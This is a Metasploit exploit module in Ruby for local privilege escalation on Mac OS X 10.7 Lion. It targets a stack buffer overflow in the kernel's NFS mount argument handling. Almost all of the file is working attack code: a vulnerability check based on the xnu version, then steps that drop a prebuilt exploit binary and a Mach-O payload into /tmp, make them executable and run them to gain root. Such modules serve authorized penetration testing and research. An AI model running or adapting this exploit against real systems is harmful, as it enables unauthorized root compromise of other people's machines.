nfs_mount_root.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit',
        'Description' => %q{
          This exploit leverages a stack buffer overflow vulnerability to escalate privileges.
          The vulnerable function nfs_convert_old_nfs_args does not verify the size
          of a user-provided argument before copying it to the stack. As a result, by
          passing a large size as an argument, a local user can overwrite the stack with arbitrary
          content.

          Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Kenzley Alphonse', # discovery and a very well-written exploit
          'joev' # msf module
        ],
        'References' => [
          [ 'EDB', '32813' ]
        ],
        'Platform' => 'osx',
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [
          [
            'Mac OS X 10.7 Lion x64 (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X64
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2014-04-11',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    if ver_lt(xnu_ver, '1699.32.7') and xnu_ver.strip != '1699.24.8'
      CheckCode::Appears
    else
      CheckCode::Safe
    end
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
    file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')
    exploit = File.read(file)
    pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
    tmpfile = "/tmp/#{Rex::Text.rand_text_alpha_lower(12)}"
    payloadfile = "/tmp/#{Rex::Text.rand_text_alpha_lower(12)}"

    print_status "Writing temp file as '#{tmpfile}'"
    write_file(tmpfile, exploit)
    register_file_for_cleanup(tmpfile)

    print_status "Writing payload file as '#{payloadfile}'"
    write_file(payloadfile, pload)
    register_file_for_cleanup(payloadfile)

    print_status 'Executing payload...'
    cmd_exec("chmod +x #{tmpfile}")
    cmd_exec("chmod +x #{payloadfile}")
    cmd_exec("#{tmpfile} #{payloadfile}")
  end

  def xnu_ver
    m = cmd_exec('uname -a').match(/xnu-([0-9.~]*)/)
    m && m[1]
  end

  def ver_lt(a, b)
    Rex::Version.new(a.gsub(/~.*?$/, '')) < Rex::Version.new(b.gsub(/~.*?$/, ''))
  end
end